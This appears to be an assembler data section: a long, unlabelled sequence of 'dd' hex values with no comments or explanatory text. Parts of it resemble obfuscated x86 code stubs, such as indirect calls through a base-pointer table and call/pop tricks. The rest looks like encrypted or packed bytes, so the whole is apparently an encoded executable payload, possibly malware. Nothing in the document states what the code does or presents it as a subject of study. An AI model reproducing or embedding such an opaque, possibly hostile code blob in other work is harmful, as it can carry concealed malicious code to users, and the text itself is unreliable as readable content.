		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 5B75C357h, 5CEFF6FCh, 8B1DAAC4h, 7218995h, 6985C706h
		dd 60700h, 0F8000000h, 31BD8501h, 0B5FF0607h, 6072985h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C4C35646h
		dd 951388F3h, 8CE5AA5Ch, 0A59D8B07h, 0FF06072Bh, 701E195h
		dd 0C810F06h, 0F000000h, 68Fh, 7DB50100h, 6A060717h, 195FF00h
		dd 8B060732h, 160AEBC0h, 5762FD1Eh, 718A5C75h, 0CA8D8D57h
		dd 6A060CAEh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 7E45C356h, 8F34435h, 8924A240h
		dd 71B418Dh, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 7FD36481h, 0C7F18BACh, 7060585h
		dd 66A006h, 0C7DA8B00h,	7006985h, 6, 0F98B6600h, 11E8h
		dd 329C6400h, 69D98DD3h, 911706C9h, 8368AFh, 6E921AFh
		dd 37000000h, 677D9F16h, 0B5FF5A31h, 60712DDh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 9C35747h, 9EA62C7Bh
		dd 1E195FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 2D518CC3h, 6604029Ah, 0E3DFD781h
		dd 95FF006Ah, 6073201h,	68EBC08Bh, 0B8DC5998h, 0CFBF7D27h
		dd 0FD03923Bh, 92950135h, 0BD299D2Dh, 0EF7D573Ah, 1B1CDCDDh
		dd 0A522B05Ch, 4D4106Ch, 0B7A1F999h, 20E5D647h,	0AF54332Dh
		dd 9911BB35h, 74129B8Ch, 6F84B8F3h, 0CC5B254Dh,	0B2641AC4h
		dd 47791659h, 2B81178h,	0B89B42EAh, 0C96B469Ch,	1F776120h
		dd 0C0FA0E47h, 9C74C576h, 9A678062h, 0CC4D7454h, 37C308EBh
		dd 339C639Fh, 0CAE977E7h, 6800000Ch, 60CB0DBh, 0FACE29E9h
		dd 0B1DF68FFh, 1FE9060Ch, 68FFFACEh, 60CB358h, 0FACE15E9h
		dd 0B47E68FFh, 0BE9060Ch, 68FFFACEh, 60CB5D1h, 0FACE01E9h
		dd 0B82468FFh, 0F7E9060Ch, 68FFFACDh, 60CB965h,	0FACDEDE9h
		dd 0BA6468FFh, 0E3E9060Ch, 34FFFACDh, 0F26F77D1h, 0A5B8C096h
		dd 18F51D4Bh, 0D00D553Bh, 0B859A1F7h, 9CC825BEh, 0D6BA9974h
		dd 2177538Eh, 782E04D9h, 1AE5BF10h, 30164A4h, 0A2867CE4h
		dd 0B9181E44h, 20966159h, 60050DCBh, 0B0E4FD50h, 8CDA6088h
		dd 79C23DD7h, 390F3498h, 2E8C0F09h, 0F030AFAh, 65F46236h
		dd 8DDB5D0Bh, 8E7A3FB5h, 583F228Ah, 9AB5E198h, 29F9AF87h
		dd 44D6h, 4E51200h, 61AB7B2Dh, 81983263h, 497DFBA1h, 3F70C399h
		dd 0DF0F34C1h, 4CEE61D7h, 6D030AC1h, 4AD74117h,	0F53F396Fh
		dd 0C6A207EDh, 2067EAC2h, 0E7B5E175h, 0ECh, 0ADC2FF4Dh
		dd 57DFCDB7h, 26E62E7Ah, 1E44A2BCh, 85CB918h, 0EDB3930Eh
		dd 0C288EE6Bh, 0C470B9BAh, 5BB6050Dh, 0B32E2878h, 7C70F51h
		dd 6E76DC3Ah, 3C1893F3h, 0FF47B06Ah, 0BF050DCFh, 7FC94F77h
		dd 0A5964C69h, 0F349B48h, 326643DEh, 0CC6EE92h,	9781D72Dh
		dd 3DC70FDFh, 66D48ED7h, 35FAA317h, 4C9AFCFDh, 5F3EE01Fh
		dd 0BC182917h, 0E8FB67FDh, 3F916238h, 9B093588h, 3F18F1ABh
		dd 0E7C678FBh, 78860503h, 0FA835E0Eh, 0F921699Ah, 35637C91h
		dd 108320DCh, 558DE09h,	0A93h, 2A321679h, 638BDD37h, 0B0D88EEEh
		dd 0C810445Dh, 46C3815h, 96A79F5h, 0FBDE335Bh, 0B6904D95h
		dd 6D4598E0h, 0A440DF27h, 17BE35Bh, 0B933A303h,	0F32A17E5h
		dd 4D5B16FFh, 37A7809Dh, 437D03B4h, 0F372FC0Ch,	0F57B6F3h
		dd 518CD41Ch, 69C32B71h, 6C267F95h, 21FE7C9Eh, 0CC2FA182h
		dd 50D366Ah, 32D21A2Ah,	3CC68F68h, 1E260F34h, 3C1BA718h
		dd 7F53030Ah, 62B59275h, 0CD7CB5E2h, 0D8000000h, 8DE46741h
		dd 0E1295DDBh, 0F56F3F77h, 181E44A2h, 0E085CB9h, 4D1B75D4h
		dd 0C46D9E9Dh, 96EC050Dh, 6B63C206h, 5A82BDADh,	3C7DF32h
		dd 0DF78E30h, 0BEE6CE05h, 0BBF8EEB8h, 0A3F916E1h, 0AC490F34h
		dd 54100650h, 45B399F9h, 6BB1D901h, 9C62387Dh, 2F65A7BCh
		dd 0AA70108Eh, 35129049h, 0AA605009h, 0C62E7A57h, 0C6E6FE4Ch
		dd 78A7FB9Fh, 0BE7855A8h, 386F9BDh, 4189B905h, 111836C8h
		dd 6706FC09h, 98Fh, 0D63E6A7Dh,	6F77D93Bh, 0BCC492F2h
		dd 0F41C40A1h, 683C19h,	0D6E75F1h, 0C7223F47h, 0BA944991h
		dd 694984ECh, 0A044DB23h, 17AEF57h, 4D27AF03h, 0CB1341A2h
		dd 26A3016h, 9951B188h,	0DCB189Eh, 20685805h, 34AE7E36h
		dd 181E44A2h, 0EBF359B9h, 0B8520341h, 4BF34CE6h, 2D050DCBh
		dd 0DCB6CD2h, 68042C05h, 0A2AB8858h, 0E40F34F0h, 7F0CB616h
		dd 8E5E07E1h, 0FB74E2D2h, 30A0F46h, 2112B40Eh, 30A0F9Dh
		dd 0D135D5DDh, 2B0F74DBh, 1096B5E2h, 52000006h,	6C267F95h
		dd 34E95A93h, 0A7BD9C0Fh, 85AD51F1h, 88E84193h,	952506C6h
		dd 0DD030AEAh, 276CF3F9h, 0ABB5E188h, 292F7556h, 0E052AD7Dh
		dd 96000005h, 6C267F95h, 34EC6293h, 74E2D20Fh, 0AD747FBh
		dd 5D036603h, 341A7EDBh, 0FCF000C2h, 0CF6133B7h, 0AD7CA6Ch
		dd 0EABA8A03h, 0DE3306EEh, 19F393F9h, 0B5E1833Ah, 5A6C1h
		dd 99690700h, 9B0590F6h, 8F8572A8h, 7FF892DAh, 0F34593Eh
		dd 338B74CEh, 73030A61h, 3FE1B43h, 8F214BA6h, 0BB510240h
		dd 264A5BB8h, 912BCD85h, 184910A6h, 0F3605089h,	8918494Bh
		dd 0F76B3B0Bh, 0F58F49CFh, 1849B40Ah, 1CCCF489h, 7556D036h
		dd 0D22DE72Fh, 8321135Fh, 73253C1Dh, 4D072FD3h,	902611ABh
		dd 0D08F1F73h, 0C5DD20E0h, 0BC9A779Fh, 0ADD57FD6h, 0ED637F0Ch
		dd 81690h, 0B593FA00h, 0E50B0ADh, 5B0D6BE6h, 93F9DE33h
		dd 0EFB5964Bh, 0E7FC7687h, 5BB6DE8Ah, 0DC02878h, 0C61B6331h
		dd 0FD52BAE0h, 7866D85Bh, 0BE260301h, 0CB44A2C4h, 11E2B8E8h
		dd 50DCBADh, 9B9DC5EDh,	2F08DB09h, 50DCB97h, 0EDA7EFD7h
		dd 311A6512h, 85EDD50Fh, 1643456h, 0B02AE603h, 5472EFC3h
		dd 13EE242Ch, 90ED6030h, 721252C4h, 0B9C197EFh,	6B217693h
		dd 1B30E88h, 0C0367E03h, 77D93B16h, 3805C581h, 1D43A1DAh
		dd 0DC4E8DD5h, 0DD0301B3h, 964B93C1h, 0CA30EAB0h, 0E4700DA9h
		dd 4DAB7B80h, 16668D2h,	555FB303h, 2DE7AD85h, 583AA1DFh
		dd 0CB46EE0Dh, 0F3B3A5EBh, 0C0263B53h, 9F239C9Ah, 4DFCFE91h
		dd 16A87F75h, 0FEB19125h, 2BE1D1FCh, 0FEB176C8h, 5E0E36FCh
		dd 55BDE3C3h, 10C44h, 44A2FC00h, 24FE181Eh, 0DCB63DBh
		dd 3E132305h, 49D474DAh, 0BE31276Dh, 50DCBF8h, 0F993F9D9h
		dd 0BAE8CA27h, 0DCB05B9h, 9EC82405h, 3432D2E2h,	752F7492h
		dd 311AFD8Ah, 0EC654D0Fh, 312B66Eh, 0F0D7B6ACh,	0DC000006h
		dd 9A779FC9h, 4D80E8BEh, 0DD2573h, 0F8157D23h, 90A1C99Fh
		dd 0A4F0CDD6h, 0FEA2815Ch, 491F7B96h, 80D62C21h, 320DA778h
		dd 3017F8Ch, 0A2EE44CCh, 0B9181E44h, 2AE0085Ch,	37A6EC4h
		dd 0ECBCD787h, 76F3511h, 0B608EB8Dh, 0F6050D17h, 0E0563A1Bh
		dd 51AC7CA4h, 4AF5ED71h, 60D4CF88h, 203DD038h, 3A178274h
		dd 0A82005A8h
		dd 549CB2B3h, 8B6171E2h, 3E1796F3h, 70B8EC6Ah, 0FAC58268h
		dd 74CAFDAh, 88000000h,	775Eh, 44A2DA00h, 0BCBAEECBh, 758AB0CEh
		dd 0CEF64B3Dh, 0A31F9086h, 71050DB3h, 8BEB8369h, 0D0320FC5h
		dd 108AC282h, 0F91E242Ah, 3DED9562h, 0A690C620h, 0DDA9425h
		dd 94187C05h, 0A2CA98FAh, 1240A2C8h, 0B59B524h,	4BC3EB51h
		dd 154C6056h, 0A35EB8C7h, 0B868907Fh, 37BD25BEh, 0F51D4BA7h
		dd 0B2E0C25Fh, 27971112h, 8D57050Dh, 0AFDB53C7h, 0FFFEC14Ch
		dd 45E88FFh, 0DA000003h, 69D844A2h, 0BF282C1Fh,	0F4550F37h
		dd 1E18C89Eh, 0D6D2D9Dh, 951F7B05h, 5FA7EDC5h, 78FEA482h
		dd 0D6D0B87h, 662C0A05h, 633056F0h, 0D83A17A9h,	2C59DA8Ah
		dd 9C0F31BCh, 0C2813506h, 40A00301h, 906C181Eh,	7BE178A0h
		dd 0B903135Ch, 59D2A43h, 1C730000h, 0CB29244Ch,	84E07D85h
		dd 7E578AD2h, 320FC22Ah, 83FF1E66h, 9510760h, 43ABFDD4h
		dd 9EE6AC8Eh, 0D53D6343h, 0D95DDE7Ah, 9903017Eh, 4E5B309h
		dd 1EFB7D2Bh, 242A5238h, 2601E8Dh, 5CA16181h, 0BB261046h
		dd 6FE20A5Eh, 24394117h, 3E9B9DCBh, 7CDD77DDh, 8EC63066h
		dd 25FF58DEh, 0D178E8C4h, 97FD44FDh, 1A7E2E56h,	45A2BF92h
		dd 5BB8191Fh, 1C43CDF5h, 62EC851Fh, 59BA8747h, 3A19E30Bh
		dd 0C1AFDAC7h, 227h, 277C9507h,	0B19E731h, 917882F9h, 401676EBh
		dd 0DF0DA380h, 0A5B9061Ch, 528BC84Fh, 412AEC9h,	0D6000002h
		dd 0E3E17C95h, 58729A14h, 0ADF4C62Bh, 0D6601FA3h, 0DF7D165h
		dd 79A19105h, 7BC19B31h, 0AA308049h, 10E3B906h,	50DAFAEh
		dd 2506C6EEh, 50DAF91h,	0F477E1D1h, 61CAE54h, 0DCEC52E0h
		dd 80AEA512h, 4FD9AF91h, 0DFF570A0h, 7EE1CB0Fh,	0AEC8D819h
		dd 1AEE0h, 7C956400h, 10926D27h, 46050DCBh, 5DDB8DEBh
		dd 88B0E6FCh, 1A1C24D8h, 1CCA0BA1h, 515BBF06h, 0C96589CEh
		dd 98F455AEh, 769040CEh, 0C2F29179h, 1793D02h, 953B0000h
		dd 926D277Ch, 50DCB14h,	38DA5C64h, 0F191C721h, 1CCADA72h
		dd 826A6E06h, 0C965B89Fh, 97603AAEh, 0FBE33D2Fh, 0B887476Fh
		dd 14Bh, 8C44A2BCh, 0DCB0BB3h, 9AC82A05h, 2C14E89Ch, 8FE772E4h
		dd 0CB56E84Bh, 2E16050Dh, 25049EE6h, 0EB9B9DCBh, 77F3113Bh
		dd 99CD4B1Dh, 3B8BB51h,	430F3498h, 0FE538573h, 1615B59Bh
		dd 30AFAA4h, 2D04E8ECh,	0FA16A88Bh, 0DB37030Ah,	27DB8B8Dh
		dd 7220021Fh, 4A00C084h, 0B5E1980Dh, 2794h, 7F955000h
		dd 0DA936C26h, 3A0F34C1h, 2F930C0Ah, 67030AC1h,	0C1868963h
		dd 48B5E175h, 0B1h, 21774DACh, 35AF7F37h, 0B38C44A2h, 50DCB0Bh
		dd 56A17B4Bh, 50DCBE0h,	0EE6890A0h, 3ED01673h, 0DCB793Dh
		dd 0A093905h, 50DCBB4h,	9284CCF4h, 0FF792F07h, 365E0462h
		dd 0DC404C5h, 0E7AD8505h, 461F759Fh, 1CECB38Ch,	0B2100F32h
		dd 47EFD41h, 4D75BD03h,	21CFD97h, 4CA9B454h, 1DF018h, 0B071FD54h
		dd 4DC30315h, 34A30h, 0F9AF8600h, 32647C91h, 8FD9372Ah
		dd 0C78DEA67h, 1341A2BFh, 0B3302ACBh, 67FA0256h, 0D9345C0Ch
		dd 924F97FDh, 986EEB4h,	732A8C6Fh, 0FA6A0301h, 1341A200h
		dd 0BF3016CBh, 0DC5FF5A3h, 50DCB5Ah, 9AE22A1Ah,	1E44A220h
		dd 0F359B918h, 0CBD368EBh, 8FC5050Dh, 0BAC33CD6h, 7A0F34F3h
		dd 0A248224Ah, 0B9EFCB44h, 3C1A8771h, 0B5940E56h, 5B0B0D5Bh
		dd 1243818Bh, 694BA678h, 37846727h, 770F3498h, 0E456C94Fh
		dd 0AC030AFAh, 76DD44A8h, 3DB5E198h, 27h, 267F953Bh, 0C1DA936Ch
		dd 0A3A0F34h, 1E77CA0Ch, 0C898CC4Ah, 0AC1D76Bh,	31BB9F03h
		dd 0E175692Eh, 0D730B5h, 0A2340000h, 0F6441E44h, 4FFA1437h
		dd 0AFF5D1F7h, 0D041A767h, 481E74F7h, 0AB8B1600h, 48A173E5h
		dd 763E386Eh, 256B4BD6h, 0B7ED1EDDh, 166C050Dh,	8F623840h
		dd 3074E2B6h, 44F1BDCEh, 0CC9C61B3h, 0CD4B1171h, 0CB8E6D7Bh
		dd 65C16E43h, 43BC569Eh, 0F344A72h, 0C158F2C2h,	5B0D6BE2h
		dd 0F761A9DDh, 135B096Ah, 0A8811B73h, 0CE44044Ah, 3601DB98h
		dd 935946Dh, 62FF959Dh,	0D60B5301h, 0C6B6AFF5h,	8C09112Eh
		dd 209F796h, 0E0C70000h, 0A7BD50B8h, 1874E9F1h,	0CA2B264Eh
		dd 86E37E86h, 0EF6B8AD2h, 0A5CD9BF4h, 0FF0749A8h, 0A520062h
		dd 41A9FFD7h, 75C92ACEh, 35030172h, 43E5D7ADh, 0DCB4EF0h
		dd 66260E05h, 30EABE9Bh, 0A197FDD9h, 302D25E5h,	287C59D2h
		dd 0D63E662Eh, 267F955Ch, 0C1DA936Ch, 2E1C0F34h, 0D44BCDB2h
		dd 37AB7BAFh, 2496090Fh, 6C030AA4h, 0B69D8468h,	7DB5E1DAh
		dd 0CBh, 306646DBh, 44A2EA90h, 5CB9181Eh, 5C8D0E08h, 0DD050DC4h
		dd 58AB59C5h, 0D7411771h, 684919Fh, 1CFD97DFh, 0A1E55305h
		dd 1E74E9E1h, 6E64CE48h, 939C9F35h, 50F340Ch, 0CA9ACC24h
		dd 0D2742E16h, 89D0F06Ch, 4BC86CA7h, 30A61F3h, 0A98E83B3h
		dd 712B23E3h, 61DA5CDFh, 389A030Ah, 0A61873Fh, 0B7FFC703h
		dd 5BD73D17h, 792D2B7Dh, 2C989B31h, 980935B2h, 21FF2A8h
		dd 0F6D30E56h, 4BD3ABA2h, 8B810911h, 10AF2h, 0B9EFC600h
		dd 0F2A4BC51h, 4F1977EAh, 87CD2A27h, 0D381E27Fh, 0F3F06A8Bh
		dd 0A7BAC296h, 19F41C4Ch, 0D20F573Dh, 0C946AEF4h, 716ACC2Fh
		dd 0BA2A0301h, 0B317E5C0h, 9BD27675h, 1770CD9Dh, 0CE243941h
		dd 0E5FA7098h, 0F27C2A04h, 31E5F320h, 0EF721271h, 0CA57C197h
		dd 0B45EA6ECh, 0B54F055Eh, 12727F47h, 0F162C9DDh, 50D5B4Dh
		dd 0DF65250Dh, 318A175Ch, 3F0DA70Fh, 7E552FACh,	0EC52C1CEh
		dd 0AC030198h, 7FDA5C84h, 34293167h, 0D7634EDEh, 11541E36h
		dd 0FDDE33E9h, 25E5A197h, 0A55848C3h, 6D69E6B4h, 1C9FF787h
		dd 0A3E35503h, 0D00E2DBDh, 81C9BB7Ah, 45DA379h,	0B91DF950h
		dd 0AB03BB84h, 73436692h, 0A0869B4Bh, 0AB378F68h, 0DD776692h
		dd 92ABDC62h, 6C949C66h, 4EA73224h, 0A1BD1C1Ah,	0BE9405F3h
		dd 5CA46EE8h, 350D5358h, 81D72FBFh, 0D81076CBh,	92ABE75Fh
		dd 579FA766h, 0A4825FB7h, 43DE78FEh, 71903060h,	3, 0A2FF798Bh
		dd 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h, 0C455C395h, 0DEBBBDEBh
		dd 30A197FDh, 0E8B8DD3h, 63FE782Eh, 32D95F01h, 81E38953h
		dd 4C3h, 4B95100h, 29000000h, 1C8759CBh, 90685C24h, 8900002Eh
		dd 6168242Ch, 8900001Dh, 0BB53240Ch, 5D634672h,	1691EB81h
		dd 0E3C13638h, 81D3F706h, 0AF3E05F3h, 81DBF704h, 6869D0F3h
		dd 5BDD89C8h, 240C8B54h, 5604C483h, 71895E55h, 34FF5E08h
		dd 0C4835924h, 242C8B04h, 5E08950h, 4, 8704C083h, 0E95C2404h
		dd 0FFFAC172h, 0E82D3F89h, 9F7580E0h, 0BB93B882h, 0C503060Ch
		dd 9D3CE0FFh, 462B04C9h, 6CB62048h, 0AE353196h,	0B40C4D0Fh
		dd 78A54622h, 1E167F8Fh, 863D3FDCh, 0AF7F1E4Eh,	0C0967572h
		dd 5E65580Ch, 773F79A0h, 7FE90CE5h, 0A5F120CCh,	0CAA61544h
		dd 0DE82D81h, 0A9000000h, 3298DD53h, 7B2C1EB7h,	73F8D721h
		dd 0F58DA8Bh, 589h, 9EEBB900h, 0C08170B4h, 6C5Eh, 0A4BAF88Bh
		dd 81433C89h, 0C3913EC2h, 0C98060BCh, 0E98166FCh, 8B61B6BEh
		dd 814AB730h, 0E415BC6h, 3870F0Bh, 80000000h, 0C68107EFh
		dd 45CF305Ah, 1FBB6653h, 0F6815907h, 5F774F48h,	6E9h, 2D929500h
		dd 89BD299Dh, 0CDDB8130h, 810CBF70h, 3E5DD8E8h,	0BE92Eh
		dd 592D0000h, 5FACC91Fh, 7C6E445Ah, 0D4C08128h,	0F2E3E5Dh
		dd 28Fh, 4AFA8A00h, 13850Fh, 0E8B90000h, 0E933E241h, 35h
		dd 0E469EA73h, 4FE21CF5h, 10E916h, 0D8890000h, 9F589156h
		dd 3D48550Fh, 20241831h, 70E9B672h, 65FFFFFFh, 0F9684534h
		dd 0F0E22F82h, 0A7BCD393h, 0E340CF3Eh, 168D8DC2h, 6A060CBEh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 5B33C353h, 0F0DDFB02h, 8BBC1064h,	71E51B5h
		dd 0EE806h, 322D0000h, 0B1352D7Ah, 0E127AC71h, 56EB8FFEh
		dd 3085B589h, 895A0607h, 71B418Dh, 0E9958B06h, 0C706070Ah
		dd 7060585h, 62F406h, 0C99D8B00h, 0C706071Bh, 7006985h
		dd 6, 0ED950100h, 0FF060720h, 71E19B5h,	57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 0F35A0C74h, 95FFE7C6h, 60701E1h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0F0C35242h,	1F72EBFBh, 11E98AA8h
		dd 0A9000000h, 0E25C0D3Fh, 0ADF7E0Fh, 0FCADC123h, 53A458C0h
		dd 95FF006Ah, 6073201h,	9EBC08Bh, 0ED2268C8h, 253A3B77h
		dd 24EB42h, 8 dup(0)
		dd 0E9000000h, 0BDh, 0BE26B589h, 858B060Ch, 6071995h, 32A5858Bh
		dd 0B58D0607h, 60CBE70h, 4DDC858Dh, 0D0FF060Ah,	0E855C3h
		dd 5D000000h, 0BE76ED81h, 0BD83060Ch, 6071995h,	2C850F01h
		dd 0FF000000h, 0CBE26B5h, 0A5858B06h, 35060732h, 34812736h
		dd 13CD0FFh, 0A850Fh, 1B80000h,	0E9000000h, 47h, 40E9C033h
		dd 6A000000h, 2AB58D1Ch, 56060CBEh, 0BE26B5FFh,	858B060Ch
		dd 60732A5h, 81273635h,	83D0FF34h, 0B58D0CC4h, 60CBE2Ah
		dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h
		dd 1B80000h, 83000000h,	71995BDh, 850F0106h, 7,	2E9C35Dh
		dd 5D000000h, 4F858DCFh, 89060CBEh, 719F585h, 98E906h
		dd 940000h, 50000h, 10000h, 0A280000h, 20000h, 20h dup(0)
		dd 0C21B0000h, 81E91175h, 6800000Bh, 60CC117h, 0FABDB5E9h
		dd 0C1E968FFh, 0ABE9060Ch, 68FFFABDh, 60CC309h,	0FABDA1E9h
		dd 0C39B68FFh, 97E9060Ch, 68FFFABDh, 60CC4D4h, 0FABD8DE9h
		dd 0C53668FFh, 83E9060Ch, 68FFFABDh, 60CC889h, 0FABD79E9h
		dd 0C97D68FFh, 6FE9060Ch, 0A8FFFABDh, 66FB0345h, 0D9345C02h
		dd 8C41A9FFh, 4499E1B7h, 4D53D6Bh, 287C594Ah, 62360DC0h
		dd 0BDEBC71Ah, 0F45AB855h, 0A69133ECh, 3010B10h, 0A26AC050h
		dd 0B9181E44h, 0C059F359h, 0E7EFBFE1h, 5D1DDF2Dh, 17DF67D0h
		dd 979F050Dh, 1D3832A9h, 0D481C74Dh, 91C7233Eh,	653FEFA7h
		dd 3424219Ah, 0E751610Fh, 91C7DC3Dh, 3C3FEFA7h,	30A467Eh
		dd 77DAD236h, 0B5E1F410h, 2997h, 7F955D00h, 64CA6C26h
		dd 6D8BC626h, 2102C2E7h, 0F34C46Ch, 39B2A48Ch, 30AC481h
		dd 78DFD5C9h, 0B5E17A1Bh, 0ADE2h, 44A26600h, 5CB9181Eh
		dd 0B3930E08h, 4189DF38h, 266C4AD7h, 0C7121DDEh, 0EFC7050Dh
		dd 4F1DE3B9h, 1B86C67Ch, 3CD139E9h, 5C867026h, 0D122E4FDh
		dd 50D5C6Dh, 5BDD052Dh,	0B3D17B2Bh, 2ECF28E2h, 9E0F3408h
		dd 0AEA44E96h, 48DC5FF5h, 0EC0935ABh, 0D6330EC4h, 49A07A82h
		dd 7531276Dh, 396F48D5h, 11668820h, 55282E09h, 96Bh, 0EEF652B5h
		dd 274F1173h, 749CCA2Ah, 8CD4B899h, 0D8207451h,	45A63D39h
		dd 3F1AF71Fh, 0F2CC0169h, 0A1815CA4h, 983C93FBh, 10A279Fh
		dd 5FF6703h, 791341A2h,	0E1E628F3h, 0C3836AE0h,	2A70568Bh
		dd 7F9568C2h, 0DA936C26h, 3A0F34C1h, 77CA0C0Ah,	9F9C4C1Ch
		dd 30AC123h, 9A7D776Bh,	0B5E175BDh, 0A3153B01h,	0A6C2BD9Ch
		dd 0A919E6h, 0A2DF0000h, 0FE181E44h, 0CB63DB24h, 1323050Dh
		dd 0C78DEE73h, 0C7D3DE51h, 0E841050Dh, 3508D88Eh, 0F26F77DDh
		dd 0FE48CE94h, 2611CBE8h, 0F349BC9h, 1B214979h,	58F2A8CDh
		dd 0BABCE0C1h, 6E3A170Ah, 379CBDBEh, 545C0935h,	0A31BE4BEh
		dd 0E3050354h, 906933D3h, 4499E1B7h, 96243D6Bh,	540910D6h
		dd 899BFDEh, 644B0000h,	2301DC24h, 9CF8157Dh, 56AFA2CAh
		dd 0A67FA02h, 6BE7365Eh, 21491F78h, 7B83D52Ch, 0B6DE84E6h
		dd 0CD157B5Bh, 0F145B652h, 0B103010Ah, 17E54B21h, 8C1B8F96h
		dd 6E3416FBh, 0BE9B6626h, 774F82EAh, 0A263D921h, 0B9181E44h
		dd 0D359F359h, 0FEA98DE0h, 0E2FC51A5h, 420242B4h, 0B1E2E00Ah
		dd 0E78F181Bh, 53D90F31h, 1DDC5B45h, 0D36BD4D9h, 9303019Dh
		dd 82E67BA3h, 7A2A5ADCh, 5E4BE86h, 10AA7A2Eh, 0A681F07Eh
		dd 4802B04h, 0B399F944h, 0F4A6A8ABh, 71900301h,	38CCDA22h
		dd 0F4AEF71Dh, 0B6E2FF52h, 0D0581516h, 98A80938h, 41176FC2h
		dd 74854481h, 0E29179F0h, 1AE5BFE4h, 9CF722BDh,	7FF0D62Bh
		dd 85C13761h, 0FBABDB5Dh, 6F393F07h, 8B663C79h,	0D09623ABh
		dd 9D77B60Bh, 0CEFB555h, 9AF7D7ACh, 1BA39C36h, 5B96C32Ch
		dd 0F046B16Bh, 0B096C32Ch, 141CC080h, 0D385E37Eh, 0DB612165h
		dd 4FA86046h, 96C32CF7h, 3F478FB7h, 0A58C422h, 0ACBC8FBDh
		dd 0BEC25B83h, 7C755084h, 779E786h, 44AB0000h, 361FC04h
		dd 0FCD8355Dh, 0B68F42AAh, 6A479AE2h, 4B07D63Eh, 0C1297F58h
		dd 1B63350Ch, 56BEE4C6h, 0EDF55BBBh, 11A59632h,	51030108h
		dd 43E56BC1h, 0DCB4EF0h, 97F30E05h, 0D71F57C1h,	0AEF71D37h
		dd 0A9A0BF4h, 0FEA0F31h, 673D6533h, 76C82BCDh, 36030174h
		dd 0E1C35E0Eh, 0FFD57BFh, 0D513928Eh, 0A7BA6AAFh, 0FB1D1B4Dh
		dd 0BAECC821h, 17D05B9h, 0AD7D4503h, 9FF97250h,	0AA954FC9h
		dd 3017D14h, 0FC246C54h, 12C06965h, 0F8958B03h,	6E7h, 6A72D639h
		dd 0A3CB9DF7h, 0F0184EAEh, 850041Dh, 44ACF8D5h,	0C92AB9B5h
		dd 0BB9E739Bh, 76508DD5h, 2D05D820h, 0E4801F67h, 108A31Bh
		dd 0F973E303h, 6C267F95h, 0DC9064CAh, 0DED09579h, 7A02D0Eh
		dd 1BF60F31h, 0B8EC6A3Eh, 79AD11E2h, 0C5ED0301h, 0B3695905h
		dd 0CA12785Eh, 0D8722120h, 179D35Fh, 9583B303h,	179A11Ah
		dd 0FFF5E903h, 0A1F7D128h, 0A52FFFB7h, 0B5E718DEh, 26A5h
		dd 7C95A300h, 10926D27h, 60050DCBh, 0D565E650h,	9D050DCBh
		dd 672C33B9h, 2EAFDA67h, 7, 1EC5E2Ah, 0E5DA0000h, 10EC5917h
		dd 0E2A29FA1h, 0B14B56D4h, 0DD6F046h, 7B55B005h, 0EF25E52Dh
		dd 4CE6BCF9h, 0C7C644AAh, 3193226Bh, 0D3A7CC2h,	12465D05h
		dd 0A48C6024h, 1E4607E4h, 8EB60F34h, 4F43A96Bh,	0DC513234h
		dd 0A3ED4E1Eh, 1B3541Bh, 7FF892C3h, 0A69958DEh,	0CF95F148h
		dd 0E553631Fh, 0AC850543h, 0E367EF8h, 0F055EB54h, 72CFA099h
		dd 0E39F4F15h, 0C02039D3h, 0D534CE9Eh, 993705FDh, 6E33509Ch
		dd 0C1B70F0Ch, 0CFF7ACADh, 84E27F87h, 6C5547DEh, 5DD35F7Fh
		dd 5AE00h, 491F7600h, 82D42C21h, 0DF89E77Ah, 177D5AB7h
		dd 633112CFh, 6380FA1Bh, 0D70A5206h, 8944ACFCh,	429FE7ADh
		dd 79D63E64h, 0FDA5CDFh, 0A9A0301h, 1E44A2B0h, 0D88CE544h
		dd 4E842E08h, 0DBFC7F15h, 1B0F349Ah, 0F049C32Bh, 1A4ACC92h
		dd 0F9FF74Ah, 8CB082E9h, 0B2ABD305h, 318322Ch, 4C1568EEh
		dd 94000005h, 528FD7B1h, 5D82076h, 0F8157D2Bh, 0B0ADB59Bh
		dd 58F90157h, 0FCA8851Eh, 361A7994h, 81D7332Eh,	0D88EE479h
		dd 0FA451FB0h, 3010E44h, 0A2269C04h, 0FE181E44h, 0CB63DB24h
		dd 0D523050Dh, 51D58050h, 3AEA12B6h, 9F99CF27h,	2F09E004h
		dd 47ADA979h, 0C6DC5FB7h, 0A6EEA690h, 648FF45Eh, 3616AFDBh
		dd 0D2000000h, 1F1A17E5h, 8CB0B7EFh, 961076DCh,	0EE6BEDB3h
		dd 579FC78Dh, 23061BBDh, 294EAD7Dh, 0E90F3447h,	5EDC5FD9h
		dd 16030A67h, 0F057BA32h, 0B7B5E216h, 5Ah, 0E07F95BDh
		dd 69288775h, 8C20A5Ah,	34AAC72Fh, 2BCD670Fh, 0A9176C8h
		dd 0D0E3603h, 30A91A9h,	0FB91D9E9h, 345C0266h, 0A917AC7h
		dd 263D1C03h, 39158472h, 0CA2E236Bh, 1979C484h,	74C79933h
		dd 30A91C2h, 1F18B282h,	30A91A7h, 0C70FDFE7h, 0FE782E0Ah
		dd 45A9Fh, 4E52500h, 54BAE2Dh, 0E8ED5BDDh, 13FA4DB7h, 24001D45h
		dd 6A78D272h, 62D4829Ch, 0C920FA22h, 0F6BEB8ECh, 4CBEE908h
		dd 0C58542BEh, 0D2C73C3Fh, 8FB70F34h, 0B12A0889h, 590D0B51h
		dd 3C962711h, 0A2F311B8h, 0CA0A0FE8h, 4A7A0933h, 0F55BB990h
		dd 0C2203D55h, 86BC69Ch, 74AE8858h, 27894E86h, 624BD3E6h
		dd 0EB433711h, 208D800h, 7AC59FC4h, 0F34AA41h, 0D98FE401h
